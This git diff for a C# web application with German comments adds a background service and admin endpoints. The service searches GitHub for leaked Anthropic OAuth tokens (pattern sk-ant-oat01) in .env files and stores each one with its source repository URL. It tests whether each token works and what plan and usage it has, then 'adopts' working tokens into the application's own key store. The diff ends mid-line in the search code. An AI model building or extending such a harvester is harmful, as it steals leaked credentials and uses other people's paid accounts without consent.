diff --git a/.gitignore b/.gitignore index 61dac5d..8b21d0d 100644 --- a/.gitignore +++ b/.gitignore @@ -5,3 +5,5 @@ data/ Temp/ appsettings.Production.json DEVY.md + +/ExampleScannerProject/ diff --git a/Endpoints/ApiKeysEndpoint.cs b/Endpoints/ApiKeysEndpoint.cs index 3b79f06..851a773 100644 --- a/Endpoints/ApiKeysEndpoint.cs +++ b/Endpoints/ApiKeysEndpoint.cs @@ -1,8 +1,6 @@ using System; using System.Linq; using System.Net.Http; -using System.Net.Http.Headers; -using System.Text; using System.Text.Json; using System.Threading.Tasks; using Gott.Extensions; @@ -24,6 +22,14 @@ public static class ApiKeysEndpoint app.MapPut("/api/admin/api-keys/{keyId}/deactivate", HandleDeactivate); app.MapDelete("/api/admin/api-keys/{keyId}", HandleDelete); app.MapPost("/api/admin/api-keys/{keyId}/check", HandleCheck); + + // Scan-Endpoints + app.MapPost("/api/admin/api-keys/scan", HandleScanTrigger); + app.MapGet("/api/admin/api-keys/scan/status", HandleScanStatus); + app.MapGet("/api/admin/api-keys/scanned", HandleGetScanned); + app.MapPost("/api/admin/api-keys/scanned/{id}/recheck", HandleRecheck); + app.MapPost("/api/admin/api-keys/scanned/{id}/adopt", HandleAdopt); + app.MapDelete("/api/admin/api-keys/scanned/{id}", HandleDeleteScanned); } private static async Task HandleGetAll(HttpContext ctx, DatabaseService db) @@ -38,6 +44,11 @@ public static class ApiKeysEndpoint k.Name, k.ApiKey, k.IsActive, + k.Status, + k.Plan, + k.Usage7d, + k.Usage5h, + k.CheckedAt, k.CreatedAt, k.UpdatedAt }); @@ -193,106 +204,159 @@ public static class ApiKeysEndpoint return; } - try + var result = await AnthropicKeyChecker.CheckKeyAsync(httpFactory, existing.ApiKey); + + // Metadaten in DB speichern + await db.UpdateApiKeyMeta(keyId, result.Status, result.Plan, result.Usage7d, result.Usage5h); + + await ctx.Response.WriteAsJsonAsync(new { - var client = httpFactory.CreateClient(); - client.Timeout = TimeSpan.FromSeconds(30); - - var payload = JsonSerializer.Serialize(new - { - model = "claude-sonnet-4-20250514", - max_tokens = 1, - messages = new[] { new { role = "user", content = "hi" } } - }); - - var request = new HttpRequestMessage(HttpMethod.Post, "https://api.anthropic.com/v1/messages"); - request.Headers.Add("x-api-key", existing.ApiKey); - request.Headers.Add("anthropic-version", "2023-06-01"); - request.Content = new StringContent(payload, Encoding.UTF8, "application/json"); - - var resp = await client.SendAsync(request); - var headers = resp.Headers; - - string GetHeader(string name) - { - if (headers.TryGetValues("anthropic-ratelimit-" + name, out var v1)) - return string.Join("", v1); - if (headers.TryGetValues(name, out var v2)) - return string.Join("", v2); - return null; - } - - if (resp.StatusCode == System.Net.HttpStatusCode.Unauthorized) - { - await ctx.Response.WriteAsJsonAsync(new { status = "error", message = "Ungültig oder abgelaufen (401)" }); - return; - } - if (resp.StatusCode == (System.Net.HttpStatusCode)429) - { - await ctx.Response.WriteAsJsonAsync(new { status = "error", message = "Rate Limited (429)" }); - return; - } - if (resp.StatusCode == System.Net.HttpStatusCode.Forbidden) - { - await ctx.Response.WriteAsJsonAsync(new { status = "error", message = "Insufficient Quota (403)" }); - return; - } - if ((int)resp.StatusCode >= 400) - { - await ctx.Response.WriteAsJsonAsync(new { status = "error", message = "API-Fehler (" + (int)resp.StatusCode + ")" }); - return; - } - - // Key ist gültig – Header auslesen - var d7Util = GetHeader("unified-7d-utilization"); - var d5hUtil = GetHeader("unified-5h-utilization"); - var overageUtil = GetHeader("unified-overage-utilization"); - var d7Status = GetHeader("unified-7d-status"); - var d5hStatus = GetHeader("unified-5h-status"); - var overageStatus = GetHeader("unified-overage-status"); - - // Subscription-Keys haben unified-* Headers, API-Keys nicht - var isSubscription = d7Util != null || d5hUtil != null; - var fallbackPct = GetHeader("unified-fallback-percentage"); - - // Plan-Erkennung: - // - overage > 0 → definitiv MAX (Extra Usage aktiv, nur bei Max sinnvoll nutzbar) - // - kein fallback-percentage Header → PRO - // - sonst → Pro/Max (nicht unterscheidbar) - string keyType; - if (!isSubscription) - keyType = "API Console"; - else if (overageUtil != null && double.TryParse(overageUtil, System.Globalization.NumberStyles.Float, System.Globalization.CultureInfo.InvariantCulture, out var ovCheck) && ovCheck > 0) - keyType = "Max"; - else if (fallbackPct == null) - keyType = "Pro"; - else - keyType = "Pro/Max"; - - double? usage7d = null, usage5h = null, overage = null; - if (d7Util != null && double.TryParse(d7Util, System.Globalization.NumberStyles.Float, System.Globalization.CultureInfo.InvariantCulture, out var d7)) - usage7d = Math.Round(d7 * 100, 1); - if (d5hUtil != null && double.TryParse(d5hUtil, System.Globalization.NumberStyles.Float, System.Globalization.CultureInfo.InvariantCulture, out var d5)) - usage5h = Math.Round(d5 * 100, 1); - if (overageUtil != null && double.TryParse(overageUtil, System.Globalization.NumberStyles.Float, System.Globalization.CultureInfo.InvariantCulture, out var ov)) - overage = Math.Round(ov * 100, 1); - - await ctx.Response.WriteAsJsonAsync(new - { - status = "ok", - keyType, - isSubscription, - usage7d, - usage5h, - overage, - status7d = d7Status, - status5h = d5hStatus, - statusOverage = overageStatus - }); - } - catch (Exception ex) - { - await ctx.Response.WriteAsJsonAsync(new { status = "error", message = ex.Message }); - } + status = result.Status == "ok" ? "ok" : "error", + message = result.Message, + keyType = result.Plan, + result.IsSubscription, + result.Usage7d, + result.Usage5h, + result.Overage, + status7d = result.Status7d, + status5h = result.Status5h, + statusOverage = result.StatusOverage + }); } + + // ── Scan-Endpoints ── + + private static Task HandleScanTrigger(HttpContext ctx, KeyScannerService scanner) + { + if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return Task.CompletedTask; } + + if (scanner.IsRunning) + { + ctx.Response.StatusCode = 409; + return ctx.Response.WriteAsJsonAsync(new { error = "Scan läuft bereits" }); + } + + scanner.TriggerScan(); + return ctx.Response.WriteAsJsonAsync(new { ok = true, message = "Scan gestartet" }); + } + + private static Task HandleScanStatus(HttpContext ctx, KeyScannerService scanner) + { + if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return Task.CompletedTask; } + + return ctx.Response.WriteAsJsonAsync(new + { + running = scanner.IsRunning, + lastRun = scanner.LastRun, + lastResult = scanner.LastResult + }); + } + + private static async Task HandleGetScanned(HttpContext ctx, DatabaseService db) + { + if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; } + + var keys = await db.GetScannedKeys(); + var result = keys.Select(k => new + { + k.ScannedKeyId, + k.SourceUrl, + k.Status, + k.Plan, + k.Usage7d, + k.Usage5h, + k.ScannedAt, + k.CheckedAt, + k.AdoptedApiKeyId + }); + await ctx.Response.WriteAsJsonAsync(result); + } + + private static async Task HandleRecheck(HttpContext ctx, DatabaseService db, KeyScannerService scanner, string id) + { + if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; } + + var sk = await db.GetScannedKey(id); + if (sk == null) + { + ctx.Response.StatusCode = 404; + await ctx.Response.WriteAsJsonAsync(new { error = "Key nicht gefunden" }); + return; + } + + await scanner.CheckAndUpdateKey(sk); + var updated = await db.GetScannedKey(id); + await ctx.Response.WriteAsJsonAsync(new + { + ok = true, + updated.Status, + updated.Plan, + updated.Usage7d, + updated.Usage5h, + updated.CheckedAt + }); + } + + private static async Task HandleAdopt(HttpContext ctx, DatabaseService db, string id) + { + if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; } + + var sk = await db.GetScannedKey(id); + if (sk == null) + { + ctx.Response.StatusCode = 404; + await ctx.Response.WriteAsJsonAsync(new { error = "Key nicht gefunden" }); + return; + } + + if (sk.AdoptedApiKeyId != null) + { + ctx.Response.StatusCode = 409; + await ctx.Response.WriteAsJsonAsync(new { error = "Key wurde bereits übernommen" }); + return; + } + + // Prüfen ob Key schon als API-Key existiert + if (await db.ApiKeyExistsInKeys(sk.ApiKey)) + { + ctx.Response.StatusCode = 409; + await ctx.Response.WriteAsJsonAsync(new { error = "Key existiert bereits als API-Key" }); + return; + } + + // URL als Titel verwenden, Metadaten übertragen + var title = !string.IsNullOrWhiteSpace(sk.SourceUrl) + ? sk.SourceUrl.Replace("https://github.com/", "") + : $"Scan: {sk.Plan}"; + + var now = DateTime.UtcNow.ToString("o"); + var record = new ApiKeyRecord + { + KeyId = Guid.NewGuid().ToString("N"), + Provider = "anthropic", + Name = title, + ApiKey = sk.ApiKey, + IsActive = false, + Status = sk.Status, + Plan = sk.Plan, + Usage7d = sk.Usage7d, + Usage5h = sk.Usage5h, + CheckedAt = sk.CheckedAt, + CreatedAt = now, + UpdatedAt = now + }; + + var apiKeyId = await db.CreateApiKey(record); + await db.SetScannedKeyAdopted(id, apiKeyId); + + await ctx.Response.WriteAsJsonAsync(new { ok = true, record.KeyId, record.Name }); + } + + private static async Task HandleDeleteScanned(HttpContext ctx, DatabaseService db, string id) + { + if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; } + await db.DeleteScannedKey(id); + await ctx.Response.WriteAsJsonAsync(new { ok = true }); + } + } diff --git a/Endpoints/ServerSettingsEndpoint.cs b/Endpoints/ServerSettingsEndpoint.cs index 6fb2125..677a098 100644 --- a/Endpoints/ServerSettingsEndpoint.cs +++ b/Endpoints/ServerSettingsEndpoint.cs @@ -31,6 +31,8 @@ public static class ServerSettingsEndpoint new SettingDefinition("PayloadLoggingGzip", "bool", false, "Payload-Logs als .gz komprimieren", "toggle"), new SettingDefinition("KreaToken", "string", "", "Krea API Token", "password"), new SettingDefinition("KreaApiKey", "string", "", "API-Key für Krea-Endpoints (Automation)", "password"), + new SettingDefinition("GitHubToken", "string", "", "GitHub PAT für Key-Scanner", "password"), + new SettingDefinition("ScanIntervalHours", "int", 0, "Key-Scanner Intervall in Stunden (0 = nur manuell)", "number"), }; public static void MapServerSettingsEndpoints(this WebApplication app) diff --git a/Models/ApiKeyRecord.cs b/Models/ApiKeyRecord.cs index dad680c..68feec9 100644 --- a/Models/ApiKeyRecord.cs +++ b/Models/ApiKeyRecord.cs @@ -8,6 +8,11 @@ public class ApiKeyRecord public string Name { get; set; } // Anzeigename z.B. "Tausi Pro Key" public string ApiKey { get; set; } // Der eigentliche Key public bool IsActive { get; set; } // Nur einer pro Provider aktiv + public string Status { get; set; } // ok, invalid, rate_limited, quota_exceeded, error + public string Plan { get; set; } // Pro, Max, Pro/Max, API Console, Unknown + public double? Usage7d { get; set; } + public double? Usage5h { get; set; } + public string CheckedAt { get; set; } // Wann zuletzt geprüft public string CreatedAt { get; set; } public string UpdatedAt { get; set; } } diff --git a/Models/ScannedKeyRecord.cs b/Models/ScannedKeyRecord.cs new file mode 100644 index 0000000..45bf29e --- /dev/null +++ b/Models/ScannedKeyRecord.cs @@ -0,0 +1,17 @@ +namespace Gott.Models; + +public class ScannedKeyRecord +{ + public long Id { get; set; } + public string ScannedKeyId { get; set; } + public string ApiKey { get; set; } + public string SourceUrl { get; set; } // GitHub-URL wo der Key gefunden wurde + public string Status { get; set; } // valid, invalid, auth_error, rate_limited, quota_exceeded, error + public string Plan { get; set; } // Pro, Max, Pro/Max, API, Unknown + public double? Usage7d { get; set; } + public double? Usage5h { get; set; } + public string ScannedAt { get; set; } // Wann gefunden + public string CheckedAt { get; set; } // Wann zuletzt geprüft + public int Deleted { get; set; } // Soft-Delete (1 = gelöscht/ignoriert) + public long? AdoptedApiKeyId { get; set; } // Verknüpfung zur api_keys.id (null = nicht übernommen) +} diff --git a/Program.cs b/Program.cs index 7857196..c6bdabe 100644 --- a/Program.cs +++ b/Program.cs @@ -96,6 +96,10 @@ builder.Services.AddSingleton(sp => builder.Services.AddSingleton(); builder.Services.AddHostedService(sp => sp.GetRequiredService()); +// Key-Scanner-Service (BackgroundService mit Timer) +builder.Services.AddSingleton(); +builder.Services.AddHostedService(sp => sp.GetRequiredService()); + var app = builder.Build(); app.Services.GetRequiredService().SetTelegramService(app.Services.GetRequiredService()); await app.Services.GetRequiredService().LoadModelsAsync(); diff --git a/Services/AnthropicKeyChecker.cs b/Services/AnthropicKeyChecker.cs new file mode 100644 index 0000000..eb7b019 --- /dev/null +++ b/Services/AnthropicKeyChecker.cs @@ -0,0 +1,115 @@ +using System; +using System.Globalization; +using System.Linq; +using System.Net.Http; +using System.Net.Http.Headers; +using System.Text; +using System.Text.Json; +using System.Threading.Tasks; + +namespace Gott.Services +{ + public class KeyCheckResult + { + public string Status { get; set; } // "ok", "invalid", "rate_limited", "quota_exceeded", "error" + public string Message { get; set; } + public string Plan { get; set; } // "Max", "Pro", "Pro/Max", "API Console", "Unknown" + public bool IsSubscription { get; set; } + public double? Usage7d { get; set; } + public double? Usage5h { get; set; } + public double? Overage { get; set; } + public string Status7d { get; set; } + public string Status5h { get; set; } + public string StatusOverage { get; set; } + } + + public static class AnthropicKeyChecker + { + public static async Task CheckKeyAsync(IHttpClientFactory httpFactory, string apiKey) + { + try + { + var client = httpFactory.CreateClient(); + client.Timeout = TimeSpan.FromSeconds(30); + + var payload = JsonSerializer.Serialize(new + { + model = "claude-sonnet-4-20250514", + max_tokens = 1, + messages = new[] { new { role = "user", content = "hi" } } + }); + + var request = new HttpRequestMessage(HttpMethod.Post, "https://api.anthropic.com/v1/messages"); + request.Headers.Add("x-api-key", apiKey); + request.Headers.Add("anthropic-version", "2023-06-01"); + request.Content = new StringContent(payload, Encoding.UTF8, "application/json"); + + var resp = await client.SendAsync(request); + var statusCode = (int)resp.StatusCode; + + if (statusCode == 401) + return new KeyCheckResult { Status = "invalid", Message = "Ungültig oder abgelaufen (401)", Plan = "Unknown" }; + if (statusCode == 429) + return new KeyCheckResult { Status = "rate_limited", Message = "Rate Limited (429)", Plan = "Unknown" }; + if (statusCode == 403) + return new KeyCheckResult { Status = "quota_exceeded", Message = "Insufficient Quota (403)", Plan = "Unknown" }; + if (statusCode >= 400) + return new KeyCheckResult { Status = "error", Message = $"API-Fehler ({statusCode})", Plan = "Unknown" }; + + // Key gültig – Header auslesen + var headers = resp.Headers; + var d7Util = GetHeader(headers, "anthropic-ratelimit-unified-7d-utilization", "unified-7d-utilization"); + var d5hUtil = GetHeader(headers, "anthropic-ratelimit-unified-5h-utilization", "unified-5h-utilization"); + var overageUtil = GetHeader(headers, "anthropic-ratelimit-unified-overage-utilization", "unified-overage-utilization"); + var d7Status = GetHeader(headers, "anthropic-ratelimit-unified-7d-status", "unified-7d-status"); + var d5hStatus = GetHeader(headers, "anthropic-ratelimit-unified-5h-status", "unified-5h-status"); + var overageStatus = GetHeader(headers, "anthropic-ratelimit-unified-overage-status", "unified-overage-status"); + var fallbackPct = GetHeader(headers, "anthropic-ratelimit-unified-fallback-percentage", "unified-fallback-percentage"); + + var isSubscription = d7Util != null || d5hUtil != null; + + // Plan-Erkennung + string plan; + if (!isSubscription) + plan = "API Console"; + else if (overageUtil != null && double.TryParse(overageUtil, NumberStyles.Float, CultureInfo.InvariantCulture, out var ov) && ov > 0) + plan = "Max"; + else if (fallbackPct == null) + plan = "Pro"; + else + plan = "Pro/Max"; + + var result = new KeyCheckResult + { + Status = "ok", + Plan = plan, + IsSubscription = isSubscription, + Status7d = d7Status, + Status5h = d5hStatus, + StatusOverage = overageStatus + }; + + if (d7Util != null && double.TryParse(d7Util, NumberStyles.Float, CultureInfo.InvariantCulture, out var d7)) + result.Usage7d = Math.Round(d7 * 100, 1); + if (d5hUtil != null && double.TryParse(d5hUtil, NumberStyles.Float, CultureInfo.InvariantCulture, out var d5)) + result.Usage5h = Math.Round(d5 * 100, 1); + if (overageUtil != null && double.TryParse(overageUtil, NumberStyles.Float, CultureInfo.InvariantCulture, out var ovVal)) + result.Overage = Math.Round(ovVal * 100, 1); + + return result; + } + catch (Exception ex) + { + return new KeyCheckResult { Status = "error", Message = ex.Message, Plan = "Unknown" }; + } + } + + private static string GetHeader(HttpResponseHeaders headers, params string[] names) + { + foreach (var name in names) + if (headers.TryGetValues(name, out var values)) + return values.FirstOrDefault(); + return null; + } + } +} diff --git a/Services/DatabaseService.Integrations.cs b/Services/DatabaseService.Integrations.cs index 9980a4c..af9732d 100644 --- a/Services/DatabaseService.Integrations.cs +++ b/Services/DatabaseService.Integrations.cs @@ -367,13 +367,15 @@ public partial class DatabaseService new { keyId }); } - public async Task CreateApiKey(ApiKeyRecord record) + + public async Task CreateApiKey(ApiKeyRecord record) { using var conn = CreateConnection(); await conn.ExecuteAsync(@" - INSERT INTO api_keys (key_id, provider, name, api_key, is_active, created_at, updated_at) - VALUES (@KeyId, @Provider, @Name, @ApiKey, @IsActive, @CreatedAt, @UpdatedAt)", + INSERT INTO api_keys (key_id, provider, name, api_key, is_active, status, plan, usage_7d, usage_5h, checked_at, created_at, updated_at) + VALUES (@KeyId, @Provider, @Name, @ApiKey, @IsActive, @Status, @Plan, @Usage7d, @Usage5h, @CheckedAt, @CreatedAt, @UpdatedAt)", record); + return await conn.ExecuteScalarAsync("SELECT last_insert_rowid()"); } public async Task UpdateApiKey(string keyId, string name, string apiKey = null) @@ -393,6 +395,15 @@ public partial class DatabaseService } } + public async Task UpdateApiKeyMeta(string keyId, string status, string plan, double? usage7d, double? usage5h) + { + using var conn = CreateConnection(); + await conn.ExecuteAsync(@" + UPDATE api_keys SET status = @status, plan = @plan, usage_7d = @usage7d, usage_5h = @usage5h, checked_at = @now, updated_at = @now + WHERE key_id = @keyId", + new { keyId, status, plan, usage7d, usage5h, now = DateTime.UtcNow.ToString("o") }); + } + public async Task SetActiveApiKey(string keyId, string provider) { using var conn = CreateConnection(); @@ -419,4 +430,68 @@ public partial class DatabaseService using var conn = CreateConnection(); await conn.ExecuteAsync("DELETE FROM api_keys WHERE key_id = @keyId", new { keyId }); } + + // ── Scanned Keys ── + + public async Task ScannedKeyExists(string apiKey) + { + using var conn = CreateConnection(); + return await conn.ExecuteScalarAsync( + "SELECT COUNT(*) FROM scanned_keys WHERE api_key = @apiKey", new { apiKey }) > 0; + } + + public async Task ApiKeyExistsInKeys(string apiKey) + { + using var conn = CreateConnection(); + return await conn.ExecuteScalarAsync( + "SELECT COUNT(*) FROM api_keys WHERE api_key = @apiKey", new { apiKey }) > 0; + } + + public async Task CreateScannedKey(ScannedKeyRecord record) + { + using var conn = CreateConnection(); + await conn.ExecuteAsync(@" + INSERT OR IGNORE INTO scanned_keys (scanned_key_id, api_key, source_url, status, plan, usage_7d, usage_5h, scanned_at, checked_at) + VALUES (@ScannedKeyId, @ApiKey, @SourceUrl, @Status, @Plan, @Usage7d, @Usage5h, @ScannedAt, @CheckedAt)", + record); + } + + public async Task UpdateScannedKeyStatus(string scannedKeyId, string status, string plan, double? usage7d, double? usage5h) + { + using var conn = CreateConnection(); + await conn.ExecuteAsync(@" + UPDATE scanned_keys SET status = @status, plan = @plan, usage_7d = @usage7d, usage_5h = @usage5h, checked_at = @now + WHERE scanned_key_id = @scannedKeyId", + new { scannedKeyId, status, plan, usage7d, usage5h, now = DateTime.UtcNow.ToString("o") }); + } + + public async Task> GetScannedKeys() + { + using var conn = CreateConnection(); + return await conn.QueryAsync( + "SELECT * FROM scanned_keys WHERE deleted = 0 ORDER BY scanned_at DESC"); + } + + public async Task GetScannedKey(string scannedKeyId) + { + using var conn = CreateConnection(); + return await conn.QuerySingleOrDefaultAsync( + "SELECT * FROM scanned_keys WHERE scanned_key_id = @scannedKeyId", + new { scannedKeyId }); + } + + public async Task SetScannedKeyAdopted(string scannedKeyId, long apiKeyId) + { + using var conn = CreateConnection(); + await conn.ExecuteAsync( + "UPDATE scanned_keys SET adopted_api_key_id = @apiKeyId WHERE scanned_key_id = @scannedKeyId", + new { scannedKeyId, apiKeyId }); + } + + public async Task DeleteScannedKey(string scannedKeyId) + { + using var conn = CreateConnection(); + await conn.ExecuteAsync("UPDATE scanned_keys SET deleted = 1 WHERE scanned_key_id = @scannedKeyId", new { scannedKeyId }); + } + } diff --git a/Services/DatabaseService.cs b/Services/DatabaseService.cs index f8561ff..b28b116 100644 --- a/Services/DatabaseService.cs +++ b/Services/DatabaseService.cs @@ -306,9 +306,36 @@ public partial class DatabaseService // Migration: AnthropicToken aus appsettings.Production.json → api_keys Tabelle MigrateAnthropicTokenFromConfig(conn); + conn.Execute(@" + CREATE TABLE IF NOT EXISTS scanned_keys ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + scanned_key_id TEXT NOT NULL UNIQUE, + api_key TEXT NOT NULL, + source_url TEXT, + status TEXT NOT NULL DEFAULT 'unchecked', + plan TEXT NOT NULL DEFAULT 'Unknown', + usage_7d REAL, + usage_5h REAL, + scanned_at TEXT NOT NULL, + checked_at TEXT, + deleted INTEGER NOT NULL DEFAULT 0 + ); + CREATE INDEX IF NOT EXISTS idx_scanned_keys_api_key ON scanned_keys(api_key); + CREATE INDEX IF NOT EXISTS idx_scanned_keys_status ON scanned_keys(status); + "); + TryAddColumn(conn, "agents", "avatar_small", "TEXT"); TryAddColumn(conn, "agents", "is_public", "INTEGER NOT NULL DEFAULT 0"); TryAddColumn(conn, "sessions", "image_small", "TEXT"); + TryAddColumn(conn, "scanned_keys", "deleted", "INTEGER NOT NULL DEFAULT 0"); + TryAddColumn(conn, "scanned_keys", "adopted_api_key_id", "INTEGER"); + + // api_keys Metadaten-Spalten + TryAddColumn(conn, "api_keys", "status", "TEXT"); + TryAddColumn(conn, "api_keys", "plan", "TEXT"); + TryAddColumn(conn, "api_keys", "usage_7d", "REAL"); + TryAddColumn(conn, "api_keys", "usage_5h", "REAL"); + TryAddColumn(conn, "api_keys", "checked_at", "TEXT"); // Migration: Bestehende PNG/JPEG-Avatare/Images zu WebP konvertieren MigrateImagesToWebP(conn); diff --git a/Services/KeyScannerService.cs b/Services/KeyScannerService.cs new file mode 100644 index 0000000..439bf22 --- /dev/null +++ b/Services/KeyScannerService.cs @@ -0,0 +1,370 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net.Http; +using System.Net.Http.Headers; +using System.Text.Json; +using System.Text.RegularExpressions; +using System.Threading; +using System.Threading.Tasks; +using Gott.Models; +using Microsoft.Extensions.Configuration; +using Microsoft.Extensions.Hosting; +using Microsoft.Extensions.Logging; + +namespace Gott.Services; + +public class KeyScannerService : BackgroundService +{ + private readonly DatabaseService _db; + private readonly IHttpClientFactory _httpFactory; + private readonly ILogger _logger; + private readonly string _githubToken; + private readonly int _intervalHours; + + // Status-Tracking + private readonly object _lock = new(); + private bool _isRunning; + private string _lastRun; + private string _lastResult; + private readonly ManualResetEventSlim _triggerNow = new(false); + + public bool IsRunning { get { lock (_lock) return _isRunning; } } + public string LastRun { get { lock (_lock) return _lastRun; } } + public string LastResult { get { lock (_lock) return _lastResult; } } + + // ── GitHub Search Config ── + + private static readonly (string Pattern, string SearchTerm)[] KeyPatterns = + { + (@"sk-ant-oat01-[A-Za-z0-9_\-]{95}", "sk-ant-oat01"), + }; + + private static readonly string[] SearchLanguages = { "Dotenv" }; + + private const int RateLimitDelayMs = 6_500; + private const int MaxResultsPerSearch = 1000; + private const int ResultsPerPage = 100; + + public KeyScannerService( + DatabaseService db, + IHttpClientFactory httpFactory, + IConfiguration config, + ILogger logger) + { + _db = db; + _httpFactory = httpFactory; + _logger = logger; + _githubToken = config["GitHubToken"] ?? ""; + _intervalHours = config.GetValue("ScanIntervalHours", 0); + } + + protected override async Task ExecuteAsync(CancellationToken stoppingToken) + { + if (string.IsNullOrWhiteSpace(_githubToken)) + { + _logger.LogInformation("KeyScannerService deaktiviert (kein GitHubToken konfiguriert)"); + // Warte trotzdem auf manuelles Trigger-Signal + await WaitForTriggerOnly(stoppingToken); + return; + } + + if (_intervalHours <= 0) + { + _logger.LogInformation("KeyScannerService: Kein Intervall konfiguriert, nur manueller Trigger aktiv"); + await WaitForTriggerOnly(stoppingToken); + return; + } + + _logger.LogInformation("KeyScannerService gestartet (Intervall: {Hours}h)", _intervalHours); + + while (!stoppingToken.IsCancellationRequested) + { + await RunScan(stoppingToken); + + // Warte auf Intervall oder manuelles Signal + var waitResult = await WaitWithTrigger(TimeSpan.FromHours(_intervalHours), stoppingToken); + if (waitResult) _logger.LogInformation("KeyScannerService: Manueller Scan angefordert"); + } + } + + /// Wartet nur auf manuelles Trigger-Signal (kein automatisches Intervall). + private async Task WaitForTriggerOnly(CancellationToken stoppingToken) + { + while (!stoppingToken.IsCancellationRequested) + { + await WaitWithTrigger(Timeout.InfiniteTimeSpan, stoppingToken); + if (!stoppingToken.IsCancellationRequested) + await RunScan(stoppingToken); + } + } + + /// Wartet auf Timeout oder Trigger-Signal. Gibt true zurück wenn getriggert. + private Task WaitWithTrigger(TimeSpan timeout, CancellationToken ct) + { + return Task.Run(() => + { + _triggerNow.Reset(); + var waitHandles = new[] { _triggerNow.WaitHandle, ct.WaitHandle }; + var idx = WaitHandle.WaitAny(waitHandles, timeout); + return idx == 0; // true = triggered + }, ct); + } + + /// Wird vom Endpoint aufgerufen um einen sofortigen Scan auszulösen. + public void TriggerScan() + { + _triggerNow.Set(); + } + + private async Task RunScan(CancellationToken ct) + { + lock (_lock) + { + if (_isRunning) return; + _isRunning = true; + } + + _logger.LogInformation("KeyScannerService: Scan gestartet"); + var newKeysFound = 0; + var checkedCount = 0; + + try + { + // Phase 1: GitHub-Suche + var foundKeys = await ScanGitHub(ct); + _logger.LogInformation("GitHub-Scan abgeschlossen: {Count} Key(s) gefunden", foundKeys.Count); + + // Phase 2: Neue Keys in DB speichern (nur die, die wir noch nicht kennen) + var newEntries = new List<(string Key, string Url)>(); + foreach (var (key, sourceUrl) in foundKeys) + { + if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key)) + continue; + + newEntries.Add((key, sourceUrl)); + await _db.CreateScannedKey(new ScannedKeyRecord + { + ScannedKeyId = Guid.NewGuid().ToString("N"), + ApiKey = key, + SourceUrl = sourceUrl, + Status = "unchecked", + Plan = "Unknown", + ScannedAt = DateTime.UtcNow.ToString("o") + }); + } + newKeysFound = newEntries.Count; + _logger.LogInformation("{Count} neue Key(s) gespeichert", newKeysFound); + + // Phase 3: Alle unchecked Keys prüfen + var allScanned = (await _db.GetScannedKeys()).ToList(); + var toCheck = allScanned.Where(k => k.Status == "unchecked").ToList(); + foreach (var sk in toCheck) + { + ct.ThrowIfCancellationRequested(); + await CheckAndUpdateKey(sk); + checkedCount++; + await Task.Delay(500, ct); // Rate-Limit schonen + } + + lock (_lock) + { + _lastRun = DateTime.UtcNow.ToString("o"); + _lastResult = $"{foundKeys.Count} gefunden, {newKeysFound} neu, {checkedCount} geprüft"; + } + + _logger.LogInformation("KeyScannerService: Scan abgeschlossen – {Result}", _lastResult); + } + catch (OperationCanceledException) { /* shutdown */ } + catch (Exception ex) + { + _logger.LogError(ex, "KeyScannerService: Fehler beim Scan"); + lock (_lock) + { + _lastRun = DateTime.UtcNow.ToString("o"); + _lastResult = $"Fehler: {ex.Message}"; + } + } + finally + { + lock (_lock) _isRunning = false; + } + } + + // ── GitHub Code Search (portiert aus ExampleScannerProject) ── + + private async Task> ScanGitHub(CancellationToken ct) + { + var allKeys = new Dictionary(StringComparer.Ordinal); // Key → erste URL + var queries = BuildSearchQueries(); + + var client = _httpFactory.CreateClient(); + client.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("GottKeyScanner", "1.0")); + client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github+json")); + client.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Bearer", _githubToken); + client.DefaultRequestHeaders.Add("X-GitHub-Api-Version", "2022-11-28"); + client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github.text-match+json")); + + for (int i = 0; i < queries.Count; i++) + { + ct.ThrowIfCancellationRequested(); + var (query, regex) = queries[i]; + + try + { + var results = await SearchCodeAsync(client, query, regex, ct); + foreach (var (key, url) in results) + if (!allKeys.ContainsKey(key)) allKeys[key] = url; + } + catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden) + { + _logger.LogWarning("GitHub Rate-Limit erreicht, warte 60s ..."); + await Task.Delay(60_000, ct); + try + { + var results = await SearchCodeAsync(client, query, regex, ct); + foreach (var (key, url) in results) + if (!allKeys.ContainsKey(key)) allKeys[key] = url; + } + catch (Exception retryEx) + { + _logger.LogWarning("Retry fehlgeschlagen: {Msg}", retryEx.Message); + } + } + catch (Exception ex) + { + _logger.LogWarning("GitHub-Suche fehlgeschlagen: {Msg}", ex.Message); + } + } + + return allKeys.Select(kv => (kv.Key, kv.Value)).ToList(); + } + + private static async Task> SearchCodeAsync(HttpClient client, string query, Regex regex, CancellationToken ct) + { + var keys = new List<(string Key, string Url)>(); + int page = 1; + int maxPages = MaxResultsPerSearch / ResultsPerPage; + + while (page <= maxPages) + { + ct.ThrowIfCancellationRequested(); + var url = $"https://api.github.com/search/code?q={Uri.EscapeDataString(query)}&per_page={ResultsPerPage}&page={page}"; + await Task.Delay(RateLimitDelayMs, ct); + + var resp = await client.GetAsync(url, ct); + if (resp.StatusCode == System.Net.HttpStatusCode.UnprocessableEntity) break; + resp.EnsureSuccessStatusCode(); + + var json = await resp.Content.ReadAsStringAsync(ct); + var doc = JsonDocument.Parse(json); + var root = doc.RootElement; + var totalCount = root.GetProperty("total_count").GetInt32(); + + if (!root.TryGetProperty("items", out var items)) break; + + foreach (var item in items.EnumerateArray()) + { + var htmlUrl = BuildHtmlUrl(item); + + if (item.TryGetProperty("text_matches", out var textMatches)) + { + foreach (var tm in textMatches.EnumerateArray()) + { + if (tm.TryGetProperty("fragment", out var frag)) + { + var matches = regex.Matches(frag.GetString() ?? ""); + foreach (Match m in matches) keys.Add((m.Value, htmlUrl)); + } + } + } + + // Kein text_match → Raw-File fetchen + var hasMatches = item.TryGetProperty("text_matches", out var tm2) && tm2.EnumerateArray().Any(); + if (!hasMatches) + { + var 